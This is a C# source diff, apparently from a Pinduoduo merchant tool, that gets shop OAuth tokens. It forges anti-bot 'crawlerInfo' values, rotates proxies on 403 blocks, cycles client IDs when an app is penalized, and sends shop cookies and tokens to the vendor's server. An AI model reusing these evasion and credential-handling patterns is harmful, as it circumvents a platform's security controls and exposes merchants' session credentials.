scriptControl.Eval(sExpression).ToString(); + return str; + } + catch (Exception ex) + { + string str = ex.Message; + } + return null; + } + + public static void UpdateMallId(ref ShopChatBase shop) + { + string url = BaseClass.BuildObjString("shop&act=update_mall_id"); + string data = UserLogin.GetSignaturex(shop.ShopId, shop.ShopName); + data += "&mall_id=" + shop.MallId; + data += "&access_token=" + shop.AccessToken; + data += "&refresh_token=" + shop.RefreshToken; + data += "&from_tool=" + GetHtml.UrlEncodeUtf8(BaseClass.AgentName); + string html = GetHtml.PostUtf8(url, data); + url = BaseClass.LoginApiUrl + "?obj=product/image_pinbaobao&act=update_cookies"; + data = UserLogin.GetSignaturex(shop.ShopId, shop.ShopName); + data += "&cookies=" + GetHtml.UrlEncodeUtf8(shop.Cookies); + html = GetHtml.PostUtf8(url, data); + } + public bool ReFresh(string refresh) + { + string url = BaseClass.LoginApiUrl + "?obj=upshopid/pdd_refreshx&act=refresh&refresh_token=" + refresh + + "&client_id=" + BaseClass.ClientId + "&client_secret=" + BaseClass.ApiKey.Replace("2", "z").Replace("1", "I").Replace("c", "C").Replace("9", "O"); + string html = GetHtml.Utf8(url); + if (!string.IsNullOrEmpty(html) && html.Contains("access_token")) + return true; + return false; + } + + public bool Auth(ShopChatBase shop) + { + string url = BaseClass.LoginApiUrl + "?obj=upshopid/pdd_shop_tempx&act=get_token&shop_name=" + shop.ShopName + "&" + UserLogin.GetSignaturex(); + string html = GetHtml.Utf8(url); + if (!string.IsNullOrEmpty(html) && html.Contains("access_token")) + { + shop.AccessToken = BaseRegex.GetStringJson(ref html, "access_token"); + shop.RefreshToken = BaseRegex.GetStringJson(ref html, "refresh_token"); + UpdateMallId(ref shop); + if (ReFresh(shop.RefreshToken)) + { + return true; + } + } + if (string.IsNullOrEmpty(strContent)) + { + string path = AppDomain.CurrentDomain.BaseDirectory + "crawlerInfoInterface.js"; + strContent = FileBase.ReadAllText(path); + } + string toolCode = ""; + if (BaseClass.MainPath == "findgoldcat") + toolCode = "eb-"; + if (BaseClass.MainPath == "findgoldcat_main") + toolCode = "oms-"; + if (BaseClass.MainPath == "pinbaobao") + toolCode = "pbb-"; + string refresh = ""; + try + { + string cookies = ""; + string sid = BaseClass.ShopId; + cookies = shop.Cookies; + sid = shop.ShopId; + + if (MustAuth) + goto AuthGo; + + url = BaseClass.LoginApiUrl + "pddx.php?act=get&cid=" + BaseClass.CompanyId + "&sid=" + sid + + "&client_id=" + BaseClass.ClientId + "&client_secret=" + BaseClass.ApiKey.Replace("2", "z").Replace("1", "I").Replace("c", "C").Replace("9", "O") + + "&state=" + toolCode + sid + "-" + BaseClass.CompanyId; + html = GetHtml.Utf8(url); + string token = BaseRegex.GetStringJson(ref html, "access_token"); + refresh = BaseRegex.GetStringJson(ref html, "refresh_token"); + if (!string.IsNullOrEmpty(refresh)) + { + bool ok = ReFresh(refresh); + if (ok) + { + goto End; + } + } + AuthGo: + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + string str = ""; + for (int i = 0; i < 16; i++) + { + str += new Random(Guid.NewGuid().GetHashCode()).Next(9); + } + string strToken = str + "-" + strTime; + string strNumber = ""; + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, strToken, strNumber); + string codex = ExecuteScript(fun2, strContent); + + string refere = "http://mms.pinduoduo.com/open.html?response_type=code&client_id=" + BaseClass.ClientId + + "&redirect_uri=http://www." + Randomx.GetWord(5) + ".com/pdd.php&state="; + refere += toolCode; + refere += sid + "-" + BaseClass.CompanyId; + + url = "https://mms.pinduoduo.com/mars/application/authorize"; + string data = + "{\"clientId\":\"" + BaseClass.ClientId + "\",\"responseType\":\"code\",\"scope\":[],\"crawlerInfo\":\"" + codex + "\"}"; + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + string code = BaseRegex.GetStringJson(ref html, "code"); + if (string.IsNullOrEmpty(code)) + return false; + url = BaseClass.LoginApiUrl + "pddx.php?code=" + code + "&state=" + toolCode + sid + "-" + BaseClass.CompanyId + + "&client_id=" + BaseClass.ClientId + "&client_secret=" + BaseClass.ApiKey.Replace("2", "z").Replace("1", "I").Replace("c", "C").Replace("9", "O"); + html = GetHtml.Utf8(url); + token = BaseRegex.GetStringJson(ref html, "access_token"); + refresh = BaseRegex.GetStringJson(ref html, "refresh_token"); + url = BaseClass.LoginApiUrl + "?obj=upshopid/pdd_shop_tempx&act=add_token" + + "&shop_name=" + shop.ShopName + "&access_token=" + token + "&refresh_token=" + refresh + "&" + UserLogin.GetSignaturex(); + html = GetHtml.Utf8(url); + End: + shop.AccessToken = token; + if (!string.IsNullOrEmpty(refresh)) + shop.RefreshToken = refresh; + UpdateMallId(ref shop); + return !string.IsNullOrEmpty(token); + } + catch + { + return false; + } + } + public bool Auth(ShopChatBase shop,ref string client_id) + { + string prevAccessToken = shop.AccessToken; + string prevRefreshToken = shop.RefreshToken; + try + { + string url = BaseClass.LoginApiUrl + "?obj=upshopid/pdd_shop_tempx&act=get_token&shop_name=" + shop.ShopName + "&" + UserLogin.GetSignaturex(); + string html = GetHtml.Utf8(url); + if (!IsCps && !string.IsNullOrEmpty(html) && html.Contains("access_token")) + { + shop.AccessToken = BaseRegex.GetStringJson(ref html, "access_token"); + shop.RefreshToken = BaseRegex.GetStringJson(ref html, "refresh_token"); + if (!InvalidClientId(shop,client_id)&&ReFresh(shop.RefreshToken, client_id)) + return true; + } + string TokenResult = GetToken(shop.ShopName); + if (!IsCps && !TokenResult.Contains("error")) + { + shop.AccessToken = BaseRegex.GetStringJson(ref TokenResult, "access_token"); + shop.RefreshToken = BaseRegex.GetStringJson(ref TokenResult, "refresh_token"); + string client_idTemp = BaseRegex.GetStringJson(ref TokenResult, "client_id"); + if (ReFresh(shop.RefreshToken, client_idTemp))//通过缓存的三个值 来判断是否匹配 否则重新取 + { + if (!(InvalidClientId(shop, client_id) && shop.AccessToken == prevAccessToken && shop.RefreshToken == prevRefreshToken)) + { + client_id = client_idTemp; + shop.ClientId = client_idTemp; + return true; + } + } + } + TokenResult = GetToken(shop.ShopName); + if (!TokenResult.Contains("error")) + { + shop.AccessToken = BaseRegex.GetStringJson(ref TokenResult, "access_token"); + shop.RefreshToken = BaseRegex.GetStringJson(ref TokenResult, "refresh_token"); + string client_idTemp = BaseRegex.GetStringJson(ref TokenResult, "client_id"); + if (!InvalidClientId(shop, client_id)&&ReFresh(shop.RefreshToken, client_idTemp))//通过缓存的三个值 来判断是否匹配 否则重新取 + { + client_id = client_idTemp; + shop.ClientId = client_idTemp; + return true; + } + } + #region 之前循环七次请求 现改为一次批量请求 + string ClientIdxReSult = ""; + int retryCount = 0; + for (int i = 0; i < BaseClass.ClientIdx.Count; i++) + { + ClientIdxReSult += BaseClass.ClientIdx[i] + ","; + } + Again: + url = BaseClass.LoginApiUrl + "?obj=pinbaobao/reflesh_token&act=getx&client_id=" + ClientIdxReSult + + "&shop_name=" + shop.ShopName + "&" + UserLogin.GetSignaturex(shop.ShopId, shop.ShopName); + html = GetHtml.Utf8(url); + if (string.IsNullOrEmpty(html)) + { + if (retryCount < 2)//服务器返回超时 则重试两次 + { + retryCount++; + goto Again; + } + retryCount = 0; + } + if (!string.IsNullOrEmpty(html) && html.Contains("access_token")) + { + shop.AccessToken = BaseRegex.GetStringJson(ref html, "access_token"); + shop.RefreshToken = BaseRegex.GetStringJson(ref html, "refresh_token"); + string clientidTemp = BaseRegex.GetStringJson(ref html, "client_id"); + if (ReFresh(shop.RefreshToken, clientidTemp)) + { + client_id = clientidTemp; + shop.ClientId = clientidTemp; + SaveToken(shop);//保存 + return true; + } + } + #endregion + if (BaseClass.UserVersion < 4 && BaseClass.ClientIdSave.Count > 0) + { + int i = Randomx.GetId(BaseClass.ClientIdSave.Count); + url = BaseClass.LoginApiUrl + "?obj=pinbaobao/reflesh_token&act=get&client_id=" + BaseClass.ClientIdSave[i] + + "&shop_name=" + shop.ShopName + "&" + UserLogin.GetSignaturex(shop.ShopId, shop.ShopName); + html = GetHtml.Utf8(url); + if (!string.IsNullOrEmpty(html) && html.Contains("access_token")) + { + shop.AccessToken = BaseRegex.GetStringJson(ref html, "access_token"); + shop.RefreshToken = BaseRegex.GetStringJson(ref html, "refresh_token"); + if (!InvalidClientId(shop, client_id) && ReFresh(shop.RefreshToken, BaseClass.ClientIdSave[i])) + { + client_id = BaseClass.ClientIdSave[i]; + shop.ClientId = BaseClass.ClientIdSave[i]; + return true; + } + } + } + for (int i = 0; !IsCps && i < BaseClass.ClientIdx.Count; i++) + { + url = BaseClass.LoginApiUrl + "?obj=pinbaobao/reflesh_token&act=get&client_id=" + BaseClass.ClientIdx[i] + + "&shop_name=" + shop.ShopName + "&" + UserLogin.GetSignaturex(shop.ShopId, shop.ShopName); + html = GetHtml.Utf8(url); + if (!string.IsNullOrEmpty(html) && html.Contains("access_token")) + { + shop.AccessToken = BaseRegex.GetStringJson(ref html, "access_token"); + shop.RefreshToken = BaseRegex.GetStringJson(ref html, "refresh_token"); + if (!InvalidClientId(shop, client_id) && ReFresh(shop.RefreshToken, BaseClass.ClientIdx[i])) + { + client_id = BaseClass.ClientIdx[i]; + shop.ClientId = BaseClass.ClientIdx[i]; + return true; + } + } + } + if (IsCps && !MustAuthCps) + { + url = BaseClass.LoginApiUrl + "?obj=pinbaobao/reflesh_token&act=get&client_id=" + client_id + + "&shop_name=" + shop.ShopName + "&" + UserLogin.GetSignaturex(shop.ShopId, shop.ShopName); + html = GetHtml.Utf8(url); + if (!string.IsNullOrEmpty(html) && html.Contains("access_token")) + { + shop.CpsShop.AccessToken = BaseRegex.GetStringJson(ref html, "access_token"); + shop.CpsShop.RefreshToken = BaseRegex.GetStringJson(ref html, "refresh_token"); + if (!InvalidClientId(shop, client_id)&&ReFresh(shop.CpsShop.RefreshToken, client_id)) + { + return true; + } + } + } + + string cookies = ""; + string sid = BaseClass.ShopId; + if (shop != null) + { + cookies = shop.Cookies; + sid = shop.ShopId; + } + string cookiesx = ""; + string urlxs = "https://mms.pinduoduo.com/hades/oauth/authed/list"; + string referes = "https://mms.pinduoduo.com/service-market/my-auth"; + string dataxs = "{\"page\":1,\"pageSize\":50,\"crawlerInfo\":\"" + CpsSetAllGoods.getAnti0aon() + "\"}"; + string htmlxs = GetPostTaobaoHtml.UploadTaobaoPost(urlxs, referes, true, dataxs, cookies, CpsSetAllGoods.getAnti0aon()); //GetPostTaobaoHtml.GetJsonPostAnti(url, refere, true, data, GetShopLoginInfo.Shops[i].Cookies, crawlerInfo); + if (string.IsNullOrEmpty(htmlxs)||htmlxs.Contains("无效")) + { + urlxs = "https://mms.pinduoduo.com/janus/api/subSystem/generateAccessToken"; + referes = "https://fuwu.pinduoduo.com/service-market/my-service"; + dataxs = "{\"redirectUrl\":\"https://fuwu.pinduoduo.com/clint/api/login?redirect=https%3A%2F%2Ffuwu.pinduoduo.com%2Fservice-market%2Fmy-service\"}"; + htmlxs = CpsSetAllGoods.Request_mms_pinduoduo_com(urlxs, referes, cookies, dataxs, CpsSetAllGoods.getAnti0aon()); + string accessToken = BaseRegex.GetStringJson(ref htmlxs, "accessToken"); + urlxs = "https://fuwu.pinduoduo.com/clint/api/login?redirect=https%3A%2F%2Ffuwu.pinduoduo.com%2Fservice-market%2F&accessToken=" + accessToken; + htmlxs = GetJsonPostURL(urlxs, referes, true, "", cookies); + accessToken = BaseRegex.GetMatchRegexString(ref htmlxs, "SUB_PASS_ID=([^;]+?);"); + cookiesx = "SUB_PASS_ID=" + accessToken; + string codexs = CpsSetAllGoods.getAnti0aon(); + urlxs = "https://fuwu.pinduoduo.com/columbine/oauth/authed/list"; + referes = "https://fuwu.pinduoduo.com/service-market/my-auth"; + dataxs = "{\"page\":1,\"pageSize\":50,\"crawlerInfo\":\"" + codexs + "\"}"; + htmlxs = CpsSetAllGoods.Request_mms_pinduoduo_com(urlxs, referes, cookies + cookiesx, dataxs, codexs); + } + var m = BaseRegex.GetMatchRegex(ref htmlxs, @"\{[\w\W]+?\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + string id = BaseRegex.GetStringJson(ref list, "clientId"); + if (id == "9558f920cf77403bb475243fe44482ad"||id== "81fd2bbabbd54ec5bf312e05401a0343" + || id == "9f7d0ce6460b46e7a3833ac2e8325519"||id== "3069c1c325e44e85bcf5b6295694bdae" + ||id== "f23bda7f6d9c4b6c8751268891779660"||id== "5d755c0cf97a4cbdb8aa958beea25011" || id == "911bd1c0c0a0403da88334e24ca288a2") + continue; + long auditAt = BaseRegex.GetLongJson(ref list, "auditAt"); + long refreshTokenExpiredAt = BaseRegex.GetLongJson(ref list, "refreshTokenExpiredAt"); + DateTime t1 = DateTime.Now;// DateTime.Parse(DateTime.Now.ToString("1970-01-01 00:00:00")).AddMilliseconds(auditAt); + DateTime t2 = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1)).AddMilliseconds(refreshTokenExpiredAt); + System.TimeSpan t3 = t2 - t1; //两个时间相减 。默认得到的是 两个时间之间的天数 得到:365.00:00:00 + double getDay = t3.TotalDays; + if (BaseClass.ClientIdx.Contains(id) && getDay > 0) + { + client_id = id; + break; + } + } + if (client_id == "9558f920cf77403bb475243fe44482ad" || client_id == "81fd2bbabbd54ec5bf312e05401a0343" + || client_id == "9f7d0ce6460b46e7a3833ac2e8325519" || client_id == "3069c1c325e44e85bcf5b6295694bdae" + || client_id == "f23bda7f6d9c4b6c8751268891779660" || client_id == "5d755c0cf97a4cbdb8aa958beea25011" || client_id == "911bd1c0c0a0403da88334e24ca288a2") + return false; + //string urlxs = "https://mms.pinduoduo.com/janus/api/subSystem/generateAccessToken"; + //string referes = "https://fuwu.pinduoduo.com/service-market/my-service"; + //string dataxs = "{\"redirectUrl\":\"https://fuwu.pinduoduo.com/clint/api/login?redirect=https%3A%2F%2Ffuwu.pinduoduo.com%2Fservice-market%2Fmy-service\"}"; + //string htmlxs = CpsSetAllGoods.Request_mms_pinduoduo_com(urlxs, referes,cookies, dataxs, CpsSetAllGoods.getAnti0aon()); + //string accessToken = BaseRegex.GetStringJson(ref htmlxs, "accessToken"); + ////urlxs = "https://fuwu.pinduoduo.com/columbine/public/user/login"; + ////dataxs = "{\"accessToken\":\"" + accessToken + "\"}"; + ////htmlxs = GetJsonPostURL(urlxs, referes, true, dataxs, cookies); + //urlxs = "https://fuwu.pinduoduo.com/clint/api/login?redirect=https%3A%2F%2Ffuwu.pinduoduo.com%2Fservice-market%2F&accessToken=" + accessToken; + //htmlxs = GetJsonPostURL(urlxs, referes, true, "", cookies); + //accessToken = BaseRegex.GetMatchRegexString(ref htmlxs, "SUB_PASS_ID=([^;]+?);"); + //string cookiesx = "SUB_PASS_ID=" + accessToken; + //string serverUrl = "https://fuwu.pinduoduo.com/columbine/pop/service/time/length/list"; + //string serverRefere = "https://fuwu.pinduoduo.com/service-market/my-service"; + //string serverdata = "{\"page\":1,\"pageSize\":10,\"isExpired\":false}"; + //string serverhtml = CpsSetAllGoods.Request_mms_pinduoduo_com(serverUrl, serverRefere, cookies + cookiesx, serverdata, CpsSetAllGoods.getAnti0aon());//GetPostTaobaoHtml.GetJsonPost(serverUrl, serverRefere, true, serverdata, cookies+ cookiesx); + //var m = BaseRegex.GetMatchRegex(ref serverhtml, @"\{[\w\W]+?\}"); + //for (int j = 0; m != null && j < m.Count; j++) + //{ + // string list = m[j].Groups[0].Value; + // string clientName = BaseRegex.GetStringJson(ref list, "serviceName"); + // string id=GetClientId(clientName); + // if (BaseClass.ClientIdx.Contains(id)) + // { + // client_id = id; + // break; + // } + //} + if (MustAuth) + goto AuthGo; + url = BaseClass.LoginApiUrl + "pddx.php?act=get&cid=" + BaseClass.CompanyId + "&sid=" + sid + "&state=" + "pbb-" + sid + "-" + BaseClass.CompanyId + + "&client_id=" + client_id; + html = GetHtml.Utf8(url); + string time = BaseRegex.GetStringJson(ref html, "token_time"); + DateTime token_time = BaseClass.GetServerTimeString().AddHours(-1); + if (!string.IsNullOrEmpty(time)) + token_time = DateTime.Parse(time); + string token = BaseRegex.GetStringJson(ref html, "access_token"); + string refresh = BaseRegex.GetStringJson(ref html, "refresh_token"); + if (token_time.AddMinutes(3) > BaseClass.GetServerTimeString() || !NoCache && !string.IsNullOrEmpty(token)) + goto End; + if (!string.IsNullOrEmpty(refresh)) + { + bool ok = ReFresh(refresh, client_id); + if (ok) + { + goto End; + } + } + AuthGo: + string refere = "https://mms.pinduoduo.com/open.html?response_type=code&client_id=" + + client_id + "&redirect_uri=http://www.qimake.cn/pdd.php&state="; + refere += "pbb-"; + refere += sid + "-" + BaseClass.CompanyId; + if (IsCps && SignDuoProtocol && BaseClass.Balance >= 20) + { + url = "https://mms.pinduoduo.com/cps/api/mall/signDuoProtocol"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, "{}", cookies); + if (!string.IsNullOrEmpty(html) && html.Contains("\"success\":true")) + { + //url = BaseClass.BuildObjString("shop&act=time_addx"); + //string datax = UserLogin.GetSignaturex("", shop.ShopName) + "&tool_name=" + GetHtml.UrlEncodeUtf8(BaseClass.AgentName); + //html = GetHtml.PostUtf8(url, datax); + //if (html.Contains("ok,")) + // BaseClass.Balance = int.Parse(html.Replace("ok,", "").Trim()); + shop.CpsShop.Status = 1; + CpsShopNew.ShopTemp.Add(shop); + } + } + url = "https://mms.pinduoduo.com/mars/application/authorize"; + cookies = shop.Cookies; + string data = "{\"clientId\":\"" + client_id + "\",\"responseType\":\"code\",\"scope\":[]}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + if (html.Contains("接口已下线")|| html.Contains("403")) + { + string codex = UploadPinduoduoMain.AntiContent; + url = "https://mms.pinduoduo.com/hades/oauth/authorize"; + data = "{\"clientId\":\""+ client_id + "\",\"responseType\":\"code\",\"scope\":[],\"isTrial\":0,\"crawlerInfo\":\"" + codex + "\"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + } + if (html.Contains("接口已下线") || html.Contains("403")) + { + if (string.IsNullOrEmpty(cookiesx)) + { + urlxs = "https://mms.pinduoduo.com/janus/api/subSystem/generateAccessToken"; + referes = "https://fuwu.pinduoduo.com/service-market/my-service"; + dataxs = "{\"redirectUrl\":\"https://fuwu.pinduoduo.com/clint/api/login?redirect=https%3A%2F%2Ffuwu.pinduoduo.com%2Fservice-market%2Fmy-service\"}"; + htmlxs = CpsSetAllGoods.Request_mms_pinduoduo_com(urlxs, referes, cookies, dataxs, CpsSetAllGoods.getAnti0aon()); + string accessToken = BaseRegex.GetStringJson(ref htmlxs, "accessToken"); + urlxs = "https://fuwu.pinduoduo.com/clint/api/login?redirect=https%3A%2F%2Ffuwu.pinduoduo.com%2Fservice-market%2F&accessToken=" + accessToken; + htmlxs = GetJsonPostURL(urlxs, referes, true, "", cookies); + accessToken = BaseRegex.GetMatchRegexString(ref htmlxs, "SUB_PASS_ID=([^;]+?);"); + cookiesx = "SUB_PASS_ID=" + accessToken; + } + string codex = UploadPinduoduoMain.AntiContent; + url = "https://fuwu.pinduoduo.com/columbine/oauth/authorize"; + data = "{\"clientId\":\"" + client_id + "\",\"responseType\":\"code\",\"scope\":[],\"isTrial\":0,\"crawlerInfo\":\"" + codex + "\"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, referes, true, data, cookiesx); + } + if (html.Contains("403")) + { + for (int j = 0; j < GetProxyHtml.ipCount; j++) + { + var proxyObject = GetProxyHtml.GetIPSProxyQueue(); + if (proxyObject == null) + continue; + html = GetProxyHtml.UploadNewProxyTaobaoPost(url, refere, true, data, cookies, proxyObject); + GetProxyHtml.IpIndex++; + if (html.Contains("\"success\":true")) + break; + } + } + for (int i = 0; (html.Contains("应用处罚中")|| html.Contains("购买")) && i < BaseClass.ClientIdx.Count; i++) + { + shop.ClientId = BaseClass.ClientIdx[i]; + client_id = shop.ClientId; + data = "{\"clientId\":\"" + client_id + "\",\"responseType\":\"code\",\"scope\":[]}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + } + string code = BaseRegex.GetStringJson(ref html, "code"); + if (string.IsNullOrEmpty(code) && !html.Contains("应用处罚中")) + { + html = GetPostTaobaoHtml.GetJsonPostByProxy(url, refere, true, data, cookies); + code = BaseRegex.GetStringJson(ref html, "code"); + } + if (string.IsNullOrEmpty(code) && !html.Contains("应用处罚中") && !html.Contains("403")) + { + string crawlerInfo = ""; + string serverUrl = "https://mms.pinduoduo.com/hades/oauth/authed/list"; + string serverRefere = "https://mms.pinduoduo.com/service-market/my-auth"; + string serverdata = "{\"page\":1,\"pageSize\":50,\"crawlerInfo\":\"" + crawlerInfo + "\"}"; + string serverhtml = GetPostTaobaoHtml.GetJsonPost(serverUrl, serverRefere, true, serverdata, cookies, crawlerInfo); + m = BaseRegex.GetMatchRegex(ref serverhtml, @"\{[\w\W]+?\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + string id = BaseRegex.GetStringJson(ref list, "clientId"); + if (BaseClass.ClientIdx.Contains(id)) + { + url = "https://mms.pinduoduo.com/mars/application/authorize"; + cookies = shop.Cookies; + data = "{\"clientId\":\"" + id + "\",\"responseType\":\"code\",\"scope\":[]}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + if (html.Contains("接口已下线") || html.Contains("403")) + { + string codex = UploadPinduoduoMain.AntiContent; + url = "https://mms.pinduoduo.com/hades/oauth/authorize"; + data = "{\"clientId\":\"" + client_id + "\",\"responseType\":\"code\",\"scope\":[],\"isTrial\":0,\"crawlerInfo\":\"" + codex + "\"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + } + if (html.Contains("403")) + { + for (int i = 0; i < GetProxyHtml.ipCount; i++) + { + var proxyObject = GetProxyHtml.GetIPSProxyQueue(); + if (proxyObject == null) + continue; + html = GetProxyHtml.UploadNewProxyTaobaoPost(url, refere, true, data, cookies, proxyObject); + GetProxyHtml.IpIndex++; + if (html.Contains("\"success\":true")) + break; + } + } + code = BaseRegex.GetStringJson(ref html, "code"); + if (!string.IsNullOrEmpty(code)) + { + client_id = id; + shop.ClientId = id; + break; + } + } + } + } + if (string.IsNullOrEmpty(code) && !html.Contains("应用处罚中")) + { + for (int i = 0; !IsCps && i < BaseClass.ClientIdx.Count; i++) + { + url = "https://mms.pinduoduo.com/mars/application/authorize"; + cookies = shop.Cookies; + data = "{\"clientId\":\"" + BaseClass.ClientIdx[i] + "\",\"responseType\":\"code\",\"scope\":[]}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + code = BaseRegex.GetStringJson(ref html, "code"); + if (!string.IsNullOrEmpty(code)) + { + client_id = BaseClass.ClientIdx[i]; + shop.ClientId = BaseClass.ClientIdx[i]; + break; + } + } + if (string.IsNullOrEmpty(code)) + return false; + } + Shops.Add(shop.Name); + url = BaseClass.LoginApiUrl + "pddx.php?code=" + code + "&state=" + "pbb-"; + url += sid + "-" + BaseClass.CompanyId + + "&client_id=" + client_id; + html = GetHtml.Utf8(url); + token = BaseRegex.GetStringJson(ref html, "access_token"); + refresh = BaseRegex.GetStringJson(ref html, "refresh_token"); + if (string.IsNullOrEmpty(token) || string.IsNullOrEmpty(refresh)) + return false; + //if (string.IsNullOrEmpty(shop.ClientId)) + shop.ClientId = client_id; + if (!IsCps) + { + url = BaseClass.LoginApiUrl + "?obj=upshopid/pdd_shop_tempx&act=add_token" + + "&shop_name=" + shop.ShopName + "&access_token=" + token + "&refresh_token=" + refresh + "&" + UserLogin.GetSignaturex(); + html = GetHtml.Utf8(url); + } + url = BaseClass.LoginApiUrl + "?obj=pinbaobao/reflesh_token&act=add&client_id="+client_id + + "&shop_name=" + shop.ShopName + "&access_token=" + token + "&refresh_token=" + refresh + "&" + UserLogin.GetSignaturex(shop.ShopId,shop.ShopName); + html = GetHtml.Utf8(url); + End: + if (!IsCps) + { + shop.AccessToken = token; + shop.RefreshToken = refresh; + } + else + { + shop.CpsShop.AccessToken = token; + shop.CpsShop.RefreshToken = refresh; + } + return !string.IsNullOrEmpty(token); + } + catch + { + return false; + } + } + /// + /// 判断失效id + /// + /// + /// + /// + public bool InvalidClientId(ShopChatBase shop, string client_id) + { + bool invalfalg = false; + if (PinduoduoApiGetProduct.ShopInvalidClientID.ContainsKey(shop.ShopId)) + { + var lst = PinduoduoApiGetProduct.ShopInvalidClientID[shop.ShopId]; + for (int i = 0; i < lst.Count; i++) + { + if (lst[i] == client_id) + { + invalfalg = true; + break; + } + } + } + return invalfalg; + } + /// + /// 保存ClientId + /// + /// + private void SaveToken(ShopChatBase Shop) + { + string url = BaseClass.LoginApiUrl + "?obj=pinbaobao/cache_authorize&act=save&shop_name=" + Shop.ShopName + "&access_token=" + Shop.AccessToken + "&client_id=" + Shop.ClientId + "&refresh_token=" + Shop.RefreshToken + "&" + UserLogin.GetSignaturex(); + string html = GetHtml.Utf8(url); + } + private string GetToken(string ShopName) + { + string url = BaseClass.LoginApiUrl + "?obj=pinbaobao/cache_authorize&act=get&shop_name=" + ShopName + "&" + UserLogin.GetSignaturex(); + string html = GetHtml.Utf8(url); + return html; + } + public bool ReFresh(string refresh, string client_id) + { + string url = BaseClass.LoginApiUrl + "?obj=upshopid/pdd_refreshx&act=refresh&refresh_token=" + refresh + + "&client_id=" + client_id; + string html = GetHtml.Utf8(url); + if (!string.IsNullOrEmpty(html) && html.Contains("access_token")) + return true; + return false; + } + public static string GetJsonPostURL(string url, string refere, bool isUtf8, string data, string cookies) + { + string userAgent = string.IsNullOrEmpty(BaseClass.ChromeUserAgent) ? BaseClass.UserAgent : BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + wb.Timeout = 10; + wb.AllowAutoRedirect = false; + wb.Headers.Add("Upgrade-Insecure-Requests", @"1"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate,br"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + wb.Headers.Add("Sec-Fetch-Site", @"same-site"); + wb.Headers.Add("Sec-Fetch-Mode", @"navigate"); + wb.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"); + wb.Headers.Add("Referer", "https://mms.pinduoduo.com/login/sso?platform=fuwu&redirectUrl=https%3A%2F%2Ffuwu.pinduoduo.com%2Fclint%2Fapi%2Flogin%3Fredirect%3Dhttps%253A%252F%252Ffuwu.pinduoduo.com%252Fservice-market%252Fmy-service"); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + //wb.Headers.Add("Accept", "application/json"); + //wb.Headers.Add("Content-Type", "application/json; charset=UTF-8"); + if (string.IsNullOrEmpty(data)) + { + b = wb.DownloadData(url); + } + else + { + wb.Headers.Add("ContentLength", postData.Length.ToString()); + rehead = wb.Headers.ToString(); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + head = wb.ResponseHeaders.ToString(); + html = wb.ResponseHeaders["Set-Cookie"]; + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + } + return html; + } + + public string GetClientId(string clientName) + { + if (string.IsNullOrEmpty(clientName)) + return ""; + string result = ""; + switch (clientName.ToUpper()) + { + case "螃蟹工具": + result = "7feaefdf527d45129219ca398c922bb0"; + break; + case "奶爸助理": + result = "f4a3e3bb0253448d8272537726299621"; + break; + case "途途上货助手": + result = "b1981defcd704a7d88c8a734358fb065"; + break; + case "微木ERP": + result = "81fd2bbabbd54ec5bf312e05401a0343"; + break; + case "蛮牛工具": + result = "911bd1c0c0a0403da88334e24ca288a2"; + break; + case "微木订单": + result = "5d755c0cf97a4cbdb8aa958beea25011"; + break; + case "点金工具箱": + result = "3069c1c325e44e85bcf5b6295694bdae"; + break; + case "拼商宝": + result = "9558f920cf77403bb475243fe44482ad"; + break; + case "凯达工具": + result = "88d6ef134c3b4a07b7a22d8bbef9b1b4"; + break; + case "飓风管家": + result = "f23bda7f6d9c4b6c8751268891779660"; + break; + case "飓风发货": + result = "9f7d0ce6460b46e7a3833ac2e8325519"; + break; + case "运筹ERP": + result = "716a6bcc69d7441d856905eb79b892fd"; + break; + } + return result; + } + + + } +} diff --git a/Work/Api/ShopChatBase.cs b/Work/Api/ShopChatBase.cs new file mode 100644 index 0000000..f655088 --- /dev/null +++ b/Work/Api/ShopChatBase.cs @@ -0,0 +1,205 @@ +using System; +using System.Collections.Generic; + +using CefSharp.WinForms; +using Work.CollectClass; +using AllBase; +using WebSocketSharp; + +namespace Work.Api +{ + public class ShopChatBase + { + public string ShopId = ""; + public DateTime EndDate = DateTime.Now.AddDays(-1); + public DateTime EndDateExplode = DateTime.Now.AddDays(-1); + public string ShopName = ""; + public string Name = ""; + public string UserName = ""; + public string UserInfo = ""; + public string PassId = ""; + public string ClientId = ""; + [Newtonsoft.Json.JsonIgnore] + public ChromiumWebBrowser Chat = null; + [Newtonsoft.Json.JsonIgnore] + public ChromiumWebBrowser Main = null; + [Newtonsoft.Json.JsonIgnore] + public WebSocket client = null; + public string clientMessage = ""; + public bool clientflag = false; + public int ChatCount = 0; + public string Cookies = ""; + public string CookiesUid = ""; + public string CookiesPid = ""; + public string Password = ""; + public string Message = ""; + public string APIMessage = ""; + public string bondedWarehouseKey = ""; + public string bondedWarehouseName = ""; + public string pjtToken = ""; + /// + /// 是否续费和有cookies + /// + public bool Showed = false; + /// + 